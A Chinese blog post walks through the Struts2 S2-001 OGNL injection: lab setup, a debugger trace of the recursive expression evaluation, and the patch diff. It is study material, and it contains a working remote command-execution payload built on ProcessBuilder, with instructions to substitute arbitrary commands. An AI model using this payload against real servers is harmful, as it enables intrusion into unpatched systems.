从零开始学习struts2漏洞———S2-001

从零开始学习struts2漏洞———S2-001

漏洞信息

漏洞信息页面: https://cwiki.apache.org/confluence/display/WW/S2-001

漏洞成因官方概述:Remote code exploit on form validation error

漏洞影响:

WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

环境搭建

平台:macos15

工具:

  • idea2020
  • Tomcat 8.5

第一步

在IDEA中新建一个project

image-20200815100542938

创建好project项目后,结构如下

image-20200815101420976

第二步

下载一些jar包和配置文件

WEB-INF目录中新建lib目录,将下载的war包解压开来,将所需的五个包放入

image-20200815101705451

修改web.xml内容为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
<display-name>S2-001 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>

新建index.jsp和welcome.jsp内容如下

index.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>

welcome.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

完成之后,如下图所示

image-20200815102125461

第三步

在src目录下新建com.demo.actionpackage

在package下新建一个LoginAction.java,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;

public String getUsername() {
return this.username;
}

public String getPassword() {
return this.password;
}

public void setUsername(String username) {
this.username = username;
}

public void setPassword(String password) {
this.password = password;
}

public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}

然后在src目录下新建struts.xml,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="com.demo.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>

结果如下图所示:

image-20200815141838498

第四步

这时候会看到LoginAction会一直显示找不到要导入的opensymphony.xwork2.ActionSupport,是由于jar包还没有真正的被导入到这个项目中

image-20200815102834990

点击File->Project Structure

image-20200815102737187

image-20200815102907608

然后找到刚才在lib目录下的jar包,点上勾之后点击OK即可

然后Build->Build Projectbuild一下整个项目,刚才的包就被成功的导入到项目中,错误提示也就消失了

第五步

Run——Edit Configurations一下tomcat的环境即可

image-20200815122921009

配置项目路径和端口,配置完成后运行tomcat就可以启动了

image-20200815123032227

配置项目路径

image-20200815123256613

配置成功后启动如下图:

image-20200815123408534

漏洞利用

poc验证:

1
%{1+1}

image-20200819103900762

命令执行:

1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

new java.lang.String[]{"whoami"})中的whoami替换为对应的命令,即可执行。

image-20200819105249076

漏洞分析

在此之前,需要了解一些Struts2的工作原理的知识,方便我们后续代码审计

  1. struts2处理http请求参数的流程

首先了解一下拦截器的概念:

拦截器是Struts2框架的核心,它主要完成解析请求参数、将请求参数赋值给Action属性、执行数据校验、文件上传等工作。

关于拦截器的知识,可以参考:Struts2拦截器Interceptor

/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/struts-default.xml中搜索params,我们可以找到拦截器的位置,跟进

image-20200817135241428

我们从S2_001/web/WEB-INF/lib/xwork-2.0.3.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.classdoIntercept()方法开始调试,到达该方法的97行,step into跟进

image-20200817140141467

跟进后,到达/Struts2/S2_001/web/WEB-INF/lib/xwork-2.0.3.jar!/com/opensymphony/xwork2/DefaultActionInvocation.classinvoke()方法,然后继续Step over,到达this.executeResult()处Step into跟进

image-20200817141101980

跟进后,到达/Struts2/S2_001/web/WEB-INF/lib/xwork-2.0.3.jar!/com/opensymphony/xwork2/DefaultActionInvocation.classexecuteResult()方法,然后继续Step over,到达this.result.execute(this);处Step into跟进

image-20200817141410455

跟进后,到达/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/dispatcher/StrutsResultSupport.classexecute()方法,然后继续Step over,到达this.doExecute(this.lastFinalLocation, invocation);处Step into跟进

image-20200817141731940

跟进后,到达/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/dispatcher/ServletDispatcherResult.classdoExecute()方法,然后继续Step over,到达dispatcher.forward(request, response);处Step into跟进

image-20200817141859818

这里跟进比较多,过程就省略了,调用栈如下:

image-20200816211718233

然后我们把断点重新设置在/Struts2/S2_001/web/index.jsp,这里就一直Step into

image-20200817153640789

跟进后,到达/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.classdoStartTag()方法,这个方法就是在解析标签,但这时的标签并不包含我们的payload,这里我们Step over

image-20200817153056106

然后会返回到/Struts2/S2_001/web/index.jsp,接着Step into跟进

image-20200817153901281

跟进后,到达/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.classdoEndTag()方法,到达this.component.end(this.pageContext.getOut(), this.getBody());处Step into跟进

image-20200817152943999

跟进后,到达/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/StrutsBodyTagSupport.class,继续Step into跟进

image-20200817154146021

跟进后,到达/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/components/UIBean.class,然后继续跟进evaluateParams();方法

image-20200817154308077

跟进后,到达/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/components/UIBean.class,然后继续Step over

这里因为开启了altSyntax,expr变为为%{password}

image-20200817155057377

到达this.addParameter("nameValue", this.findValue(expr, valueClazz));处Step into跟进

image-20200817154650278

跟进后,到达/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/components/Component.class,然后继续Step over,遇到return TextParseUtil.translateVariables('%', expr, this.stack);后Step into跟进

image-20200817155250719

跟进后,到达/Struts2/S2_001/web/WEB-INF/lib/xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class,这里遇到一个递归函数,留意这个递归函数,Step into跟进(其实就在这个方法的下面)

image-20200817155307765

translateVariables()方法源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
Object result = expression;

while(true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;

while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}

int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}

String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}

String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}

if (TextUtils.stringSet(right)) {
result = result + right;
}

expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
}
}

image-20200817160321742

image-20200817160454389

因为expr值为%{password},解析结果为%{1+1},然后递归调用了translateVariables()方法,因为这是OGNL表达式,所以得到值为2,关于OGNL的知识,可以参考:Struts2中的OGNL详解

补丁分析

Struts 2.0.9 和 XWork 2.0.4修复了此漏洞。

在idea中,我们使用compare with功能对比了XWork 2.0.3和XWork 2.0.4的代码(左侧为XWork 2.0.3,右侧为XWork 2.0.4)

这里新增了变量MAX_RECURSION=1

image-20200818205338668

这里禁止了OGNL表达式的递归操作

image-20200818205506273

Reference

本文标题:从零开始学习struts2漏洞———S2-001

文章作者:xianyu123

发布时间:2020年08月15日 - 09:58

最后更新:2021年01月31日 - 17:24

原始链接:http://0clickjacking0.github.io/2020/08/15/从零开始学习struts2漏洞———S2-001/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------    本文结束  感谢您的阅读    -------------